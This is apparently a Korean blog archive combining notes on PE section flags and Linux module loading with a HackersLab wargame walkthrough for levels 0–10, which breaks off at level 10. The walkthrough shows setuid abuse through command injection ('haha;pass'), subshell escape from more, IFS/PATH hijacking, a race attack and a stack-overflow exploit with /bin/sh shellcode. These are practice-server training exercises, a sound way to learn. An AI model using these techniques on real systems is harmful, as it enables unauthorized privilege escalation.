0x00000080 이 섹션은 초기화되지 않은 데이터를 포함하고 있다(예를들면 .bss 섹션).

0x00000200 이 섹션은 코멘트나 다른 타입의 정보를 포함하고 있다. 이 플래그를 사용하는 일반적인 섹션은 컴파일러에 의해서 선언된 .drective 섹션이다. .directive 섹션은 링커를 위한 커맨드를 포함하고 있다.

0x00000800 이 섹션의 내용은 EXE 파일에는 담겨서는 안된다. 이 섹션들은 컴파일러와/어셈블러가 링커에게 정보를 전달하기 위해서 사용한다.

0x02000000 이 섹션은 프로세스가 한번 로드되고 나면 더 이상 필요하지 않기 때문에 무시될 수 있다. 대부분의 무시될 수 있는 것은 베이스 재배치(.reloc) 섹션이다.

0x10000000 이 섹션은 공유가능하다. DLL과 함께 사용될때, 이 섹션에 포함된 데이터는 DLL을 사용하는 프로세스 간에 공유될 수 있다. 데이터 섹션의 기본값은 공유하지 않는(nonshared) 이다. DLL을 사용하는 각각의 프로세스는 섹션에 포함된 데이터의 자신만의 복사본을 가진다는 의미이다. 좀더 기술적인 용어로 설명하면, 공유 섹션은 메모리 매니저에게 이 섹션의 페이지 맵핑을 DLL을 사용하는 모든 프로세스가 메모리내의 동일한 물리적 페이지를 참조하도록 설정하는 것이다. 섹션을 공유가능하도록 만들기 위해서, SHARED 속성을 링크 타임에 사용할 수 있다. 예를들면,

LINK /SECTION:MYDATA,RWS ...

링커에게 MYDATA라는 섹션은 읽기, 쓰기, 공유가 가능하다고 알려주는 것이다.

0x20000000 이 섹션은 실행가능하다. 이 플래그는 보통 "코드 포함" 플래그 (0x00000020)가 설정될때마다 설정된다.

0x40000000 이 섹션은 읽기 가능하다. 이 플래는 EXE 파일내에 포함된 거의 모든 섹션에 대해서 설정된다.

0x80000000 이 섹션은 쓰기 가능하다. 만약 EXE 파일의 섹션에 이 플래그가 설정되어 있지 않다면, 로더는 메모리 맵 페이지를 읽기 전용 내지는 실행 전용으로 마크한다. 일반적으로 이 속성을 가진 섹션은 .data와 .bss다. 흥미롭게도, .idata 섹션은 또한 이 속성을 설정하고 있다.

또한 PE 포맷에서 제외된것으로 페이지 테이블이 있다. LX 포맷의 IMAGE_SECTION_HEADER에 대한 OS/2의 동치는 파일에서 발견될 수 있는 코드나 데이터 섹션이 있는 곳을 직접적으로 가리키진 않는다. 대신에 그것은 섹션내에 있는 페이지의 구체적인 범위의 위치와 속성을 가지고 있는 페이지 룩업 테이블을 참조한다. PE 포맷은 그러한 모든 것들을 하지않아도 되게 한다. 그리고 섹션 데이터가 파일내에서 연속적으로 저장되도록 보장한다. 두가지 포맷에서, LX가 취하는 방법은 유연성을 허용한다. 그러나 PE 스타일은 작업하기가 더욱 간단하고 쉽다. 두가지 포맷을 위한 파일 덤퍼를 작성해야 할때, 나는 이것을 보장할 수 있다.

PE 포맷에서 좋아진 또다른 점으로 저장된 아이템의 위치가 간단하게 DWORD 오프셋이라는 것을 들 수 있다. NE 포맷에서는, 거의 대부분의 위치는 섹터 값으로 저장되어 진다. 실제 오프셋을 찾기 위해서 첫째로 NE 헤더의 정렬 유닛 크기를 보고 그것을 섹터 크기로 변환해야 한다. (일반적으로 16내지는 512 바이트) 그리고 나서는 실제 파일 오프셋을 구하기 위해서 섹터 크기에 지정된 섹터 오프셋을 곱할 필요가 있다. NE 파일에서 섹터 오프셋으로 저장되어져 있지 않은 어떤것이 있다면, 그것은 아마도 NE 헤더부터의 상대 오프셋으로 저장된 것이다. NE 헤더가 파일의 시작 부분에 있지 않기 때문에, 코드에서 NE 헤더의 파일 오프셋을 사용해야 할 필요가 있다. 대체로, PE 포맷은 NE, LX내지는 LE 포맷보다 다루기가 쉽다(메모리 맵 파일을 사용할 수 있다는 가정하에서)
2005. 9. 26. 11:24

endian

OldPapers/linux 2005. 9. 26. 11:24
http://www.joinc.co.kr/modules/moniwiki/wiki.php/article_endian
2005. 9. 26. 11:20
http://kernel.pe.kr



insmod는 '/lib/modules/커널버전' 의 디렉토리를 뒤져서
해당 모듈이 있으면 올려줍니다.

modprobe는 depmod에 의해 생성된 modules.dep 에서 찾아
모듈을 올립니다. 그리고 해당 모듈에 의존성이 있거나 해당모듈보다
선행되어야 하는 모듈이 있으면 그 모듈도 같이 올려줍니다.
이 부분이 insmod와 가장 큰 차이가 있습니다.

예를들어 vfat이란 모듈을 올리기 위해선 fat이란 모듈이 먼저
올라와 있어야 하는데 fat이 올라와 있지 않은상태에서
# insmod vfat 하면 fat에관한 심벌을 찾지못해 vfat 모듈을 올리지 못하지만
# modprobe vfat 을 실행하면 자동으로 fat을 먼저 올리고 그다음 vfat
모듈을 올려줍니다.
(커널 컴파일시 fat,vfat을 모듈로 설정했다고 가정했습니다.)


modprobe로 해당 모듈을 찾지못하는 경우는 modules.dep에 없을가능성이 크므로
# depmod -a 해서 새롭게 갱신 해주세요.

참고로 의존관계에 있는 모듈들을 한꺼번에 내릴려면 rmmod -r 옵션을
쓰면 됩니다.


- 폐인 -
2005. 9. 26. 11:19
HackersLab 레벨별 해킹  



홍성제
hongyver@hanafos.com

레벨0 -> 레벨1
문제
누군가 우리 시스템에 백도어를 설치하여 두었다. 여러분은 이 백도어를 악용하여 레벨0를 통과한다.
힌트
디바이스도 아닌것이 디바이스 드라이버 무리속에..
풀이
백도어(back door)란 해커가 시스템을 해킹한 후(해킹과정에는 보통 Local attack과 Remote attack이 있다. Local attack이란 해커가 해킹을 하려고 하는 시스템에 계정이 있는 경우 시스템 자체의 버그를 이용하여 해킹하는 방법이고, Remote attack이란 계정인 없는 경우 Protocol상의 문제점이나, 해킹하려고 하는 시스템의 여러가지 인터넷 서비스 설정 버그, 또는 다른 여러 방법을 동원하여 일단 대상 시스템에 침투하는 과정을 말한다.) 다음번에 다시 대상 시스템에 들어가기위해 복잡한 해킹 과정을 거치지 않고 쉽게 해킹할 수 있도록 대상시스템에 만들어 놓은 일종의 개구멍이라 할 수 있다.
일단 해당 백도어가 디바이스 무리속에 있기 때문에 유닉스의 파일시스템에서 디바이스 디렉토리인 /dev로 가서 숨겨진 백도어를 찾도록 한다.
[bluesky@bluestar bluesky]$telnet drill.hackerslab.org
login:level0
password:guest
.....
[level0@drill level0]$ pwd
/home/level0
[level0@drill level0]$ whoami
level0
[level0@drill level0]$ id
uid=2000(level0) gid=2000(level0) groups=2000(level0),9999(hackerszone)
[level0@drill level0]$ cd /dev
[level0@drill /dev]$

이제 숨겨진 백도어를 find 명령을 이용하여 찾아보자(다음레벨로 올라가기 위한 백도어이기 때문에 이 백도어의 user는 level1일 것이다. 현재위치(.)에서 user가 level1이고 group이 level0인 화일을 찾아서 화면상에 보여준다. 결과를 화일로 저장하고 싶은 경우는 find . -user level1 -group level0 -print > file와 같이 해준다.
[level0@drill /dev]$ find . -user level1 -group level0 -print
./.hi

[level0@drill /dev]$ ls -l .hi
-rwsr-x--- 1 level1 level0 12900 Aug 10 15:15 .hi
[level0@drill /dev]$ ./.hi
[level0@drill /dev]$ id
uid=2000(level0) gid=2000(level0) euid=2001(level1) groups=2000(level0),9999(hackerszone)
[level0@drill /dev]$ whoami
level1
[level0@drill /dev]$pass
---------------------------------------------------------------------
                            [ LEVEL 1 ]
---------------------------------------------------------------------
                            패스워드 : xxxxxxxx
---------------------------------------------------------------------

레벨1 -> 레벨2
문제
한 어리석은 대학생 서모씨는 Unix C programming 수업시간에 교수로부터 Standard input으로 부터 패스명을 입력받아 그 파일의 종류를 나타내라는 과제를 받았다. 똑똑한(?) 서모씨는 UNIX의 기본 커맨드 중에 file 이라는 유틸리티가 있음을 알고 이를 이용해 숙제를 간편한 방법으로 해결하였다. 그러나 서씨의 방법에는 상당한 보안상 위험이 있다. 이를 이용하여 다음 레벨을 획득하시오
힌트
위 화일의 이름은 딱풀제조 회사명이다.
풀이
이번 문제도 렙0와 마찬가지로 suid(set user id)의 보안상 문제점을 이용하는 것인데, 여기서 suid에 대해 먼저 짚어보고 계속가기로 하자. 먼저 화일접근 권한에 대해서 먼저 살펴보기위해 /etc/passwd란 파일의 권한을 한번 살펴보자.

[bluesky@bluestar bluesky]$ ls -l /etc/passwd
-rw-r--r-- 1 root root 887 Mar 3 01:42 /etc/passwd

위에서 보는바와 같이 /etc/passwd란 파일은 user가 root이고 group도 root이다. 그리고 제일앞이 - 이므로 일반화일이다. 그리고 소유주인 root에 대한 권한부분이 rw- 이므로 소유주인 root는 읽기/쓰기가 가능하고 실행화일이 아니므로 실행부분은 없다. 그다음 group의 권한부분이 r--이므로 group내의 사용자들은 읽기만 가능하다. 마지막 다른 사용자의 권한부분이 r--이므로 역시 읽기만 가능하다. 결국 /etc/passwd는 소유주인 root만 수정이 가능하다.그런데, 우리가 패스워드를 수정할 때 쓰는 passwd란 파일은 사용자로 부터 입력받은 새로운 패스워드를 가지고 /etc/passwd 란 파일을 수정하여 패스워드가 업데이트 된다. 그런데 /etc/passwd는 root만 수정할 수 있는데 어떻게 일반사용자에 의해 /etc/passwd가 수정되어질 수 있는가???
위의 질문에 대한 해답은 passwd(/usr/bin/passwd)의 접근 권한을 보면 확실해진다.

[bluesky@bluestar bluesky]$ ls -l /usr/bin/passwd
-r-sr-xr-x 1 root bin 58306 Apr 13 1999 /usr/bin/passwd

위에서 보는 바와 같이 소유주인 root의 접근권한 부분이 r-s로 되어 있다. SUID 비트가 셋팅되어 있는 것이다. 이렇게 suid 비트가 설정되어 있으면 다른 사용자들이 이 화일을 실행하는 잠시동안은 이 화일의 소유자의 권한 을 가지게 된다. 즉 이 경우엔 root의 권한을 가진다. 결국, 일반 사용자들이 passwd로 패스워드를 수정하는 경우 passwd를 실행하는 잠시동안 root의 권한을 빌려서 /etc/passwd란 화일을 수정하고 수정이 끝나면 다시 원래의 권한으로 되돌아 오게 되는 것이다. 이러한 suid는 위와 같이 매우 유용하게 사용될 수 있는 반면 보안상으로 매우 취약한 약점을 가지고 있다. 그러므로 시스템 관리자는 화면 잠금없이 자리를 비우는 일이 없도록 해야하며, 수시로 아래명령으로 불필요하게 suid/sgid 설정 이 되어있는 화일이 없는지 확인해야 한다. 이제 본론으로 돌아와서..레벨1을 깨보자..
우리가 찾는 딱풀제조 회사명을 검색엔진으로 찾으면 amos라는 것을 알 수 있다. 이 화일을 실행하면,

[level1@drill tmp]$/usr/bin/amos
path?/usr/bin/amos
/usr/bin/amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked
(uses shared libs), not stripped

그런데 여기서 다음과 같이 입력해보자..
[level1@drill level1]$ file /usr/bin/amos
/usr/bin/amos: setuid ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked
(uses shared libs), not stripped

여기서, 우리는 똑똑한(?) 서모씨가 이 amos라 프로그램에서 path?로 입력받은 화일명을 file 이라는 유틸리티의 입력으로 주도록 했다는 것을 알 수 있다. file이라는 유틸리티는 입력으로 들어온 화일이 어떤 형태의 화일인지를 알려주는 유틸리티이며 사용법은 [$fille 화일명]이다. 그런데 /usr/bin/amos의 접근권한을 보면 아래와 같이 suid 비트가 설정되어 있고 user가 level2인 것을 알 수 있다.
[level1@drill level1]$ ls -l /usr/bin/amos
-rwsr-x--- 1 level2 level1 13423 Aug 10 15:15 /usr/bin/amos

그러므로 이 amos를 실행하는 동안은 level2 사용자가 되는 것이다. 그런데 여기서 또 한가지 알아야 하는 것은 유닉스에서 두가지 명령을 하나의 라인에서 같이 줄 경우 아래와 같이 ; 으로 분리한다는 것을 알아야 한다. 즉, 다음과 같이 할 경우
[level1@drill level1]$ ls;ls -l
Mail public_html tmp
total 5
drwxr-xr-x 2 root root 1024 Aug 10 14:39 Mail
drwxr-x--x 2 root level1 1024 Aug 10 15:14 public_html
drwxrwx--T 2 root level1 3072 Jan 10 05:00 tmp

ls의 결과를 보여주고 바로 다음 명령인 ls -l의 결과를 보여준다. amos 실행후 path?에서 haha;pass 라고 입력해주면 어떻게 되겠는가?? [level1@drill level1]$file haha;pass 라고 입력하면 다음의 명령이 level2의 사용자 권한으로 실행되는 것이다. 즉, file haha를 실행하고 pass를 실행한다. file의 인자로 넘어간 pass까지 완전히 실행이 끝나기 전까지는 level2의 사용자로 실행되고 있는 상태(amos가 suid(level2)가 설정되어 있기 때문에)이기 때문에, file haha를 실행하고 haha란 화일이 없을 것이기 때문에 에러 메시지를 출력하고 바로 pass(운영자가 만들어 놓은 스크립트로 shell 사용자의 패스워드를 화면상에 보여준다.)를 실행하여 레벨2의 패스워드를 보여준다.
[level1@drill tmp]$/usr/bin/amos
path?haha;pass

---------------------------------------------------------------------
                            [ LEVEL 2 ]
---------------------------------------------------------------------
                            패스워드 : xxxxxxxxxxxx
---------------------------------------------------------------------

레벨2 -> 레벨3
문제
유명한 비비에스 프로그래머 김모씨는 자신의 bbs를 운영하던중 회원들이 로긴하기 전에 특정 내용이 담긴 경고 메시지를 보여주고 싶었다. 그러나 불행하게도 경고 메시지의 크기가 한 페이지를 넘어가는 바람에 회원들이 이글을 제대로 읽을수가 없었다. 고심하던중 김모씨는 more를 이용하면 간단히 해결 된다는 사실을 알았다. 그러나 그 방법은 상당히 위험한 문제가 남아 있었다. 이를 이용하여 다음 레벨을 획득하시오.

힌트
...

풀이
이번 문제는 more 커맨드의 보안상의 취약점을 알아야 하는 문제이다. 우선, $find / -user level3 -group level2 -print 명령으로 김모씨가 경고 메시지를 보여주기 위해 만든 스크립트 화일을 찾아서 실행해보자

[level2@drill level2]$find / -user level3 -group level2 -print
/usr/bin/alert
/usr/bin/alert.txt
[level2@drill level2]$ls -l /usr/bin/alert
-rws--x--- 1 level3 level2 12873 Aug 10 15:15 /usr/bin/alert
[level2@drill level2]$ls -l /usr/bin/alert.txt
-rwx------ 1 level3 level2 247 Aug 10 15:15 /usr/bin/alert.txt

위에서 보는 것처럼 이 alert도 역시 level3로 suid 비트가 설정되어 있다는 것을 알수 있다. 즉, 이 alert를 실행중에는 level3 사용자가 되는 것이다.
[level2@drill level2]$/usr/bin/alert
이곳은 당신에게 악영향을 끼칠 수도..

좋은 영향을 끼칠 수도 있습니다..
....
--More--(54%)

아직 명령 실행이 완전히 끝난 상태가 아니므로 아직 level3 사용자이다.
여기서 이제 more 커맨드의 보안상 헛점에 대해 알아보자... $man more 해서 more 커맨드의 사용법을 보면,
[bluesky@bluestar bluesky]# man more
MORE(1)          UNIX Reference Manual          MORE(1)
NAME
      more - file perusal filter for crt viewing
SYNOPSIS
      more [-dlfpcsu] [-num] [+/ pattern] [+ linenum] [file ...]
.....
COMMANDS
      Interactive commands for more are based on vi(1). Some commands may be
      preceeded by a decimal number, called k in the descriptions below. In
      the following descriptions, ^X means control-X.
.....
      !< cmd >  or  :!< cmd >
                         Execute in a subshell
.....

위의 man 화일에서 볼 수 있듯이 more 실행중에(실행이 아직 끝나지 않은 상태) 서브쉘을 띄워 유닉스 명령을 실행할 수 있다. 그러므로, 위의 --More--(54%) 상태에서 !pass라고 입력해주면 level3 권한으로 pass를 실행할 수 있게 된다.
[level2@drill level2]$/usr/bin/alert
이곳은 당신에게 악영향을 끼칠 수도..

좋은 영향을 끼칠 수도 있습니다..
....
--More--(54%)
!xxxx
---------------------------------------------------------------------
                            [ LEVEL 3 ]
---------------------------------------------------------------------
                            패스워드 : xxxxxxxxxxx
---------------------------------------------------------------------

레벨3 -> 레벨4
문제
항상 약속을 자주 잊어버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서 date 커맨드를 이용하여 오늘의 날짜만 yyyy-mm-dd 형식으로 간단히 출력해주는 프로그램을 씨 언어를 이용해서 프로그래밍하고는 누가볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다. 이를 찾아서 다음 레벨을 진입하시오

힌트
...

풀이
이번 문제는 IFS(Internal Field Separator)의 헛점을 이용한 해킹이다.
IFS는 유닉스에서 외부프로그램을 실행할 때 입력되는 문자열을 나눌 때 기준이 되는 문자를 정의하는 변수이다. 기본적으로 IFS는 공란(Space)으로 정의된다(IFS=" "). 이 IFS를 슬래쉬(/)로 바꾸고 싶다면 csh인 경우는 setenv IFS /, bash인 경우는 export IFS="/"로 하면 변경된다. 먼저 find 명령으로 서모씨가 꽁꽁 숨겨놓은 화일을 찾으면 /usr/man/pt_BR/man8/today라는 것을 알 수 있다.
이를 실행하면 01/10/00과 같이 표시되는데 이로써 우리는 today가 유닉스에서 날짜를 보여주는 명령어인 /bin/date를 실행하도록 프로그램 되어있음을 알 수 있다. /usr/man/pt_BR/man8/today의 접근 권한을 보면 이 역시 level4로 suid 비트가 설정되어 있다는 것을 알 수 있다. 이 사실과 위에서 말한 IFS의 보안상 헛점을 이용하여 어떻게 level4의 패스워드를 알 수 있겠는가??
/usr/man/pt_BR/man8/today를 실행하면 /bin/date를 실행한다. 즉, /bin디렉토리를 찾아서 그 아래의 date란 화일을 찾아서 실행하는 것이다. 그런데 우리가 IFS를 /(slash)로 바꾸면 어떻게 되겠는가?? today를 실행하면 /bin/date를 실행하는데, IFS를 /로 바꾸었기 때문에 shell은 /bin/date -> bin date로 인식하게 된다. 즉, 현재 위치에서 bin이란 화일을 찾아서 있으면 이를 실행하게 될 것이다. 그러므로 우리는 today를 실행하는 현재위치에 bin이라는 스크립트 화일을 만들어 그 안에서 /bin/sh를 실행하게 되면 level4 사용자 권한으로 sh(shell)를 실행하는 결과가 되므로 level4의 shell이 뜨게 될 것이다.
아래 그 과정을 보여준다.
[level3@drill level3]$find / -user level4 -group level3 -print
/usr/man/pt_BR/man8/today
[level3@drill level3]$ cd tmp
[level3@drill tmp]$
[level3@drill tmp]$ ls -l /usr/man/pt_BR/man8/today
-rws--x--- 1 level4 level3 13245 Aug 10 15:15 /usr/man/pt_BR/man8/today
[level3@drill tmp]$ln -s /usr/man/pt_BR/man8/today today
[level3@drill tmp]$ls -l
lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -> /usr/man/pt_BR/man8/today
[level3@drill tmp]$./today
01/10/00
[level3@drill tmp]$cat > bin
/bin/sh
^D
[level3@drill tmp]$chmod 755 bin
[level3@drill tmp]$ls -l
-rwxr-xr-x 1 level3 level3 10 Jan 10 10:38 bin
lrwxrwxrwx 1 level3 level3 25 Jan 10 10:36 today -> /usr/man/pt_BR/man8/today

이제 여기까지 IFS를 /로 바꾼후에 실행할 bin 이라는 스크립트를 /bin/sh란 내용으로 만들어 실행가능 permission을 주었다. 이제 실제로 IFS를 /로 바꾸고 today를 실행시키자...
[level3@drill tmp]$IFS=/
[level3@drill tmp]$export IFS
[level3@drill tmp]$PATH=.:$PATH
[level3@drill tmp]$,/today
bash$pass
---------------------------------------------------------------------
                            [ LEVEL 4 ]
---------------------------------------------------------------------
                            패스워드 : xxxxxxxxxx
---------------------------------------------------------------------

레벨4 -> 레벨5
문제
리눅스에 들어있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스파일에 특정코드를 삽입하여 다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없었다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는 없고 이를 이용하여 다음 레벨을 획득하면 된다.

힌트
어줍잖은 김모씨는 단 한줄만 소스에 추가했다고 한다.

풀이
find 명령으로 찾아보면..김모씨가 하려고 했던 게임이 /usr/games/trojka라는 것을 알 수 있다.
이를 실행해보면...김모씨가 소스에 추가한 한줄을 대충 짐작 할 수 있을 것이다..바로../usr/bin/clear를 실행하도록 한줄을 추가했다는 것을 알 수 있다. 그리고 이 trojka 역시 level5로 suid 비트가 설정되어 있다...그러므로 우리는 trojka를 실행할때 실행하도록 한 clear를 /usr/bin/clear가 아닌 우리가 만든 clear로 대치하고 clear 속에 level5 쉘을 띄우면..렙5의 패스워드를 알 수 있을것 같다.
[level4@drill level4]$cd tmp
[level4@drill tmp]$ find / -user level5 -group level4 -print
/usr/games/trojka
[level4@drill tmp]$ls -l /usr/games/trojka
-rwsr-x--- 1 level5 level4 30350 Aug 10 15:15 /usr/games/trojka
[level4@drill tmp]$cat > clear  <-- /usr/bin/clear가 아닌 우리가 실행시킬 clear 화일 작성
/bin/pass
^D

위에서 clear의 내용을 /bin/pass가 아닌 /bin/sh로 할 경우..trojka를 실행하면..렙5의 쉘(bash$)이 나올 것이다. 이때 bash$pass 해주면 된다.
[level4@drill tmp]$chmod 755 clear
[level4@drill tmp]$ln -s /usr/games/trojka
[level4@drill tmp]$PATH=.:$PATH
[level4@drill tmp]$./trojka

레벨5 -> 레벨6
문제
어줍잖은 해커 정모씨는 문제1에서 백도어를 만든 장본인이다. 그러나 불행히도 많은 해커스랩 회원들이 자신의 백도어를 쉽게 악용하고 있다는 사실을 알고는 분통이 터져 잠을 잘 수가 없었다. 평상시 머리굴리기는 배꼽의 때만큼도 하기 싫어하는 정모씨가 드뎌 큰맘을 먹고 자신이 평상시 만든 백도어에 보안강도를 높이기로 결정했다. 그리고는 이제 이 백도어는 나만 쓸수 있다고 큰소리 치며 편안히 잠을 잘 수 있었다고 한다. 여러분의 임무는 다시 정모씨의 눈에서 피눈물이 나게 하는 것이다.

힌트
...

풀이
이번 문제는 유닉스 커맨드 중 하나인 strings를 알고 있느냐/없느냐..하는 문제이다. strings는 유닉스에서 일반 text 에디터(vi,emacs..)로는 볼 수 없는 화일들(예를 들면..공유 라이브러리인 *.so, 로긴정보를 담고있는 /var/wtmp 등등..)내에서 출력가능한 문자를 출력해주는 유틸리티이다.
일단, find 명령으로 정모씨가 백도어의 보안강도를 높이기 위해 사용한 파일을 찾아보면... /lib/security/pam_auth.so라는 것을 알 수 있는데.. 이 화일 속에 패스워드를 숨겨두었다..그런데..이 파일은 일반 text 에디터로는 볼 수 없기 때문에.. strings 명령으로 확인하면 된다.
[level5@drill tmp]$find / -user level6 -group level5 -print
/lib/security/pam_auth.so
[level5@drill tmp]$ls -l /lib/security/pam_auth.so
-rwsr-x--- 1 level6 level5 13742 Aug 10 15:15 /lib/security/pam_auth.so
[level5@drill tmp]$strings /lib/security/pam_auth.so
/lib/ld-linux.so.2
__gmon_start__
......
......
B.....
......

레벨6 -> 레벨7
문제
짜짜 여기까지 오느라 수고하신 여러분을 위해 보너스 문제를 특별히 준비하였습니다..이번엔 고생하신 여러분을 위해 패스워드를 알려드리기 위해 TCP 포트 하나를 열어두고 있습니다.. 그런데 불행히도 몇번 포트였는지 기억이 나질 않는군요.. 아무튼 수고를 ....
힌트
...

풀이
이번 문제는 network 유틸리티인 netstat의 사용법과 telnet 접속시 특정 포트로 접속하는 방법에 대한 문제이다.. 먼저, drill에 접속하여 열어두고 있는 TCP 포트를 확인해보면..아래와 같다는 것을 알 수 있을 것이다..
[level6@drill level6]$ netstat -a | grep "LISTEN"
tcp 0 0 *:2994 *:* LISTEN
tcp 0 0 *:80 *:* LISTEN
tcp 0 0 *:25 *:* LISTEN
tcp 0 0 *:6969 *:* LISTEN
tcp 0 0 *:23 *:* LISTEN
unix 0 [ ACC ] STREAM LISTENING 978 /dev/gpmctl

위에서 2994번 포트는 렙13을 위한 것이고, 80번은 HTTP, 25번은 SMTP, 23번은 TELNET이다. 6969번이 우리가 원하는 포트이다.. 이제 포트를 알았으니 접속을 해보자..
[bluesky@bluestar bluesky]$telnet drill.hackerslab.org 6969
....
level6's passwd:xxxxxxxxxxxxxxxxxxxxxxxxxxx
'Best of The Best ......'
Congratulation!! level7's passwd is 'Can't ....'

레벨7 -> 레벨8
문제
이번 문제는 고도의 노가다 작업이 필요하다. 특정파일을 찾아 실행시키면 다음 레벨의 패스워드가 나올 것이다. 그러나 곱게 알려줄 수는 없는 법.(여러분의 고통은 나의 행복) 다음 레벨을 얻기 위해선 약간의 고생이 필요할 것이다.

힌트
...

풀이
이번 문제는 패스워드를 Crack tool로 크랙하는 문제이다. 먼저 문제의 특정화일을 찾으면../dev/audio2라는 것을 알 수 있다. 이를 실행하면..
[level7@drill tmp]$find / -user level8 -group level7 -print
/dev/audio2
[level7@drill tmp]$/dev/audio2
VoE4HoQCFfMW2

이 암호화된 패스워드를 ntucrack이나 CrackJack 등의 툴을 이용하여 크랙하면 된다.
레벨8 -> 레벨9
문제
이번 부터는 해킹기법에 대한 이해가 필요합니다.. 한때 유행했었던 8lgm이 즐겨 발표했던 방법으로써 /usr/bin/ps2를 이용하여 다음 레벨을 획득하여라.

힌트
임시 파일이 /var/tmp2에 생성된다.
풀이
이번 문제는 race condition(경쟁조건)을 이용한 race attack이다.
[level8@drill tmp]$find / -user level9 -group level8 -print
/usr/bin/ps2
[level8@drill tmp]$ ls -l /usr/bin/ps2
-rws--x--- 1 level9 level8 933937 Aug 12 13:22 /usr/bin/ps2

[level8@drill tmp]$cat > race.c
int main()
{
  int i;
  unlink("/var/tmp2/ps2.tmp");
  for(i=0;i<10;i++){
    system("/usr/bin/ps2&");
    ...

}
^D
[level8@drill tmp]$cc -o race race.c
[level8@drill tmp]$cat > haha
/bin/pass
^D

위의 haha의 내용은 어떤거라도 상관이 없다. 위에서 symlink에서 symbolic link만 제대로 만들어지면 race condition 상태가 되어 level9의 패스워드가 나온다
[level8@drill tmp]$chmod 755 haha

[level8@drill tmp]$ ./race
file exist
Congratulations !!! your race attack success ~
level9 Password is xxxxxx
file exist
file exist
file exist
Congratulations !!! your race attack success ~
level9 Password is xxxxxx
file exist
file exist
Congratulations !!! your race attack success ~
level9 Password is xxxxxx
[level8@drill tmp]$

레벨9 -> 레벨10
문제
바운드 체킹(Bound checking)을 하지 않아 발생하는 보안문제 입니다.

힌트
/etc/bof -> suid(user=level10, group=level9)
풀이
이번 문제는 버퍼 오버플로우(Buffer based Overflow)를 이용한 해킹기법이다. 버퍼 오버플로우는 1988년 전 세계를 떠들석하게 만들었던 Morris Worm 사건에서의 finger daemon을 이용한 공격이 시초라고 말할 수 있다. 하지만 과거 이에 대한 기술적 지식이 부족했던터라 잘 알려지지 않았으나 1997년 Phrack 잡지 49호에 실린 Aleph의 "Smashing the Stack for Fun and Profit" 이라는 기사에서 이 버퍼 오버플로우에 대한 자세한 원리와 제작 방법이 소개되면서 지금 까지도 많은 양의 버퍼 오버플로우 공격방법이 생겨나고 있다.
그 원리는 메모리의 스택영역을 넘쳐흐르게 해서 리턴되는 주소지를 변경하여 원하는 임의의 명령어를 실행시키는 것이다.
exploit 소스는 위의 "Smashing the Stack for Fun and Porfit"에 자세히 나와 있다.

[level9@drill jkp]$cat > exploit4.c
#include < stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
    __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
    int i, eggsize=DEFAULT_EGG_SIZE;

    if (argc > 1) bsize = atoi(argv[1]);
    if (argc > 2) offset = atoi(argv[2]);
    if (argc > 3) eggsize = atoi(argv[3]);

    if (!(buff = malloc(bsize))) {
        printf("Can't allocate memory.\n");
        exit(0);
    }

    ....

    memcpy(egg,"EGG=",4);
    putenv(egg);
    memcpy(buff,"RET=",4);
    putenv(buff);
    system("/bin/bash");
}

[level9@drill jkp]$cc -o exploit4 exploit4.c
[level9@drill jkp]$ln -s /etc/bof
[level9@drill jkp]$PATH=.:$PATH
[level9@drill jkp]$exploit4 768
Using address: 0xbffffd78
[level9@drill jkp]$bof $RET
hello~ x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
퓒煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x
煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊x煊
퓒煊x煊x煊x煊x煊x煊x煊x煊x?
bash$ pass
-----------------------------------------------------------------------------
-----------------------------------------------------------------------------
            패스워드: xxxxxxxxxxxxxxxx
-----------------------------------------------------------------------------

레벨10 -> 레벨11
문제
현재 해킹자유지대(FHZ:Free Hacking Zone) 서버에는 특정 데몬이 떠있다. 이 데몬은 UDP 5555번 포트를 이용하는데 www.hackerslab.org 호스트로부터 레벨10의 패스워드와 이메일 주소가 담긴 패킷이 오면 그 이메일 주소로 level11의 패스워드를 알려준다. 그 해당 포맷은 다음과 같다.
'level10의 패스워드/email주소'
ex) level10의 패스워드가 abcd이고 email 주소가 abc@aaa.ccc.ddd.rr 이라면 'abcd/abc@aaa.ccc.ddd.rr'
반드시 www.hackerslab.org로 부터 패킷이 와야 성공할 수 있으니 주의하기 바란다.

힌트
...

풀이
